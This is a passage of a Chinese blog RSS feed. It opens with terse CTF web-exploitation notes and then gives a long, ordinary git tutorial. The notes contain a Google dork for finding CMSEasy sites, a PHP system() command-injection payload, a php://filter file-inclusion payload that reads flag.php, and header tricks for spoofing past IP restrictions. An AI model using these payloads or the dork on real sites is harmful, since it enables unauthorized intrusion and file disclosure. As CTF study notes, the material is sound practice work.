利用 inurl:index.php?case=archive&amp;act=show&amp;aid 在网上找，发现是 cmseasy，然后查cmseasy 的漏洞
echo system(&quot;cd ../ ; ls ;grep 'flag' flag.ph&quot;.&quot;p&quot;)
require_once(&quot;$GET_[id]&quot;)
?id=php://filter/convert.base64-encode/resource=../flag.php



CMS
 phpstorm 软件会产生./idea 文件夹
.idea/workspace.xml

</code></pre>
<h6 id="">绕过</h6>
<p>绕过逗号过滤：</p>
<blockquote>
<p><a href="http://wonderkun.cc/index.html/?p=442">http://wonderkun.cc/index.html/?p=442</a></p>
</blockquote>
<p>绕过ip限制：</p>
<pre><code>X-Forwarded-For: client, proxy1, proxy2
Client-IP: client
</code></pre>
]]></content:encoded></item><item><title><![CDATA[git学习]]></title><description><![CDATA[<h3 id="git">安装git</h3>
<p>windows可以安装Windows版的msysgit，<a href="http://gitforwindows.org/">下载地址</a>,安装完成之后，在任意文件夹右键，就会有如下的按钮：<br>
<img src="https://blog.agppp.cn/content/images/2018/01/Snipaste_2018-01-04_16-46-00.png" alt=""><br>
点击git bash here就可以进入git的命令行界面，以下操作均在命令行中进行。</p>
<h3 id="git">git使用</h3>
<h4 id="git">git基础</h4>
<p><a href="https://www.jianshu.com/p/b238de250c06">这篇文章</a>中描述的比较清楚，简单来说，git会在本地保存完整的版本库，一个git项目分为三个工作区：git仓库、暂存区、工作目录。工作目录就是文件夹中可见的供我们进行浏览和编辑的区域，修改后使用add命令，就会将修改后的版本放在暂存区，使用commit命令会将暂存区的文件提交到git仓库。</p>
<h5 id="">创建仓库</h5>
<p><code>$ git init filename</code> 在当前目录下创建一个文件夹并将文件夹作为仓库<br>
<code>$ git init</code> 将当前文件夹作为仓库<br>
仓库创建好后，会在目录下多一个.git 的文件夹<br>
``</p>
<h5 id="">提交文件到版本库</h5>
<p>在当前文件夹下创建readme.txt，随便写一些内容，然后执行add命令，就会将文件放到暂存区，然后执行commit命令 就可以报错到版本库了，commit命令必须使用<code>-m</code>参数，用来作为标注。add后面可以是一个文件，也可以是一个目录</p>]]></description><link>https://blog.agppp.cn/gitxue-xi/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc9d</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:04:33 GMT</pubDate><content:encoded><![CDATA[<h3 id="git">安装git</h3>
<p>windows可以安装Windows版的msysgit，<a href="http://gitforwindows.org/">下载地址</a>,安装完成之后，在任意文件夹右键，就会有如下的按钮：<br>
<img src="https://blog.agppp.cn/content/images/2018/01/Snipaste_2018-01-04_16-46-00.png" alt=""><br>
点击git bash here就可以进入git的命令行界面，以下操作均在命令行中进行。</p>
<h3 id="git">git使用</h3>
<h4 id="git">git基础</h4>
<p><a href="https://www.jianshu.com/p/b238de250c06">这篇文章</a>中描述的比较清楚，简单来说，git会在本地保存完整的版本库，一个git项目分为三个工作区：git仓库、暂存区、工作目录。工作目录就是文件夹中可见的供我们进行浏览和编辑的区域，修改后使用add命令，就会将修改后的版本放在暂存区，使用commit命令会将暂存区的文件提交到git仓库。</p>
<h5 id="">创建仓库</h5>
<p><code>$ git init filename</code> 在当前目录下创建一个文件夹并将文件夹作为仓库<br>
<code>$ git init</code> 将当前文件夹作为仓库<br>
仓库创建好后，会在目录下多一个.git 的文件夹<br>
``</p>
<h5 id="">提交文件到版本库</h5>
<p>在当前文件夹下创建readme.txt，随便写一些内容，然后执行add命令，就会将文件放到暂存区，然后执行commit命令 就可以报错到版本库了，commit命令必须使用<code>-m</code>参数，用来作为标注。add后面可以是一个文件，也可以是一个目录</p>
<pre><code>$ git add readme.txt
$ git commit -m &quot;wrote a readme file&quot;
</code></pre>
<h6 id="add">add命令</h6>
<p>以下为git2.x的命令，可能与1.x不同</p>
<ul>
<li><code>git add .</code> ：他会监控工作区的状态树，使用它会把工作时的所有变化提交到暂存区，包括文件内容修改(modified)以及新文件(new)，以及被删除的文件。</li>
<li><code>git add -u</code> ：他仅监控已经被add的文件（即tracked file），他会将被修改的以及被删除的文件提交到暂存区。add -u 不会提交新文件（untracked file）。（git add --update的缩写）</li>
<li><code>git add -A</code>：等同于<code>git add .</code></li>
</ul>
<h6 id="status">status命令</h6>
<p><code>git status</code>命令用于查看当前工作区以及暂存区的状态，执行该命令会告诉你哪些文件修改了但是还没放到暂存区（即Changes not staged for commit），哪些文件已经放在暂存区（即Changes to be committed）</p>
<h6 id="diff">diff命令</h6>
<p><code>git diff</code> 查看工作区与暂存区的区别<br>
<code>git diff HEAD</code> 查看工作区与版本库的区别<br>
<code>git diff -- filename</code> 查看指定文件的区别</p>
<h6 id="log">log命令</h6>
<p><code>git log</code> 查看commit记录<br>
<code>git log --pretty=oneline</code> 查看commit记录，在一行展示</p>
<h5 id="">版本回退</h5>
<h6 id="gitresethard">git reset --hard</h6>
<p><code>git reset --hard HEAD</code> 该命令用于将将版本库中的最新版本检出的工作区，并且清空暂存区<br>
<code>git reset --hard HEAD^</code> 版本库中的head指针指向上一个版本，并将其检出到工作区<br>
<code>git reset --hard HEAD~x</code> 版本库中的head指针指向上x个版本，并将其检出到工作区<br>
<code>git reset --hard id</code> 版本库中的head指针指向id指定的版本，并将其检出到工作区</p>
<h6 id="gitreflog">git reflog</h6>
<p>查看版本变化历史</p>
<h5 id="">版本检出</h5>
<h6 id="gitcheckoutfile">git checkout --file</h6>
<pre><code>命令git checkout -- readme.txt意思就是，从版本库检出readme.txt这个文件，如果缓存区有该文件，则优先从缓存区检出，否则从版本库检出。

git checkout -- file命令中的--很重要，没有--，就变成了“切换到另一个分支”的命令
</code></pre>
<h5 id="">删除文件</h5>
<pre><code>git rm
git commit
</code></pre>
<h4 id="">远程库</h4>
<h6 id="git">搭建git服务器</h6>
<p><a href="http://www.cnblogs.com/xl19862005/archive/2011/06/28/2092464.html">参考文章</a></p>
<h6 id="">创建库</h6>
<pre><code>a@server:/home/git$ su – git
$ cd /home/repo
$ mkdir teamwork.git
$ cd teamwork.git
$ git init - -bare
$ exit
</code></pre>
<h6 id="">管理库权限</h6>
<p>进入管理员的gittosis-admin目录，将公钥usr@pc1.pub放在keydir目录下，并编辑gitosis.conf文件</p>
<pre><code>[group gitosis-admin]
writable = gitosis-admin
members = xxx@xxx
[group hello]
writable = teamwork
members = usr@pc1.pub
</code></pre>
<h6 id="">添加远程库</h6>
<pre><code>1、生成ssh密钥，$ ssh-keygen -t rsa -C &quot;youremail@example.com&quot;
2、在github导入公钥
3、在github创建Repository
4、与本地库关联，$ git remote add origin git@github.com:yourAccount/xxxx.git
若非标准端口，可用git clone ssh://git@10.137.20.113:2222/root/test.git方式
5、推送 $ git push -u origin master

由于远程库是空的，我们第一次推送master分支时，加上了-u参数，Git不但会把本地的master分支内容推送的远程新的master分支，还会把本地的master分支和远程的master分支关联起来，在以后的推送或者拉取时就可以简化命令。

$ git push origin master
</code></pre>
<h6 id="">克隆远程库</h6>
<pre><code>$ git clone git@github.com:account/xxxxxx.git
</code></pre>
<h6 id="">分支管理</h6>
<pre><code>创建分支：git branch &lt;name&gt;

切换分支：git checkout &lt;name&gt;

创建+切换分支：git checkout -b &lt;name&gt;

查看分支：git branch

合并某分支到当前分支：git merge &lt;name&gt;

删除分支：git branch -d &lt;name&gt;

查看分支合并图：git log --graph --pretty=oneline --abbrev-commit

新建分支并切换到某版本  git checkout -b name-of-new-branch 版本id

</code></pre>
<p>参考内容</p>
<blockquote>
<p><a href="http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000/001373962845513aefd77a99f4145f0a2c7a7ca057e7570000">http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000/001373962845513aefd77a99f4145f0a2c7a7ca057e7570000</a></p>
</blockquote>
]]></content:encoded></item></channel></rss>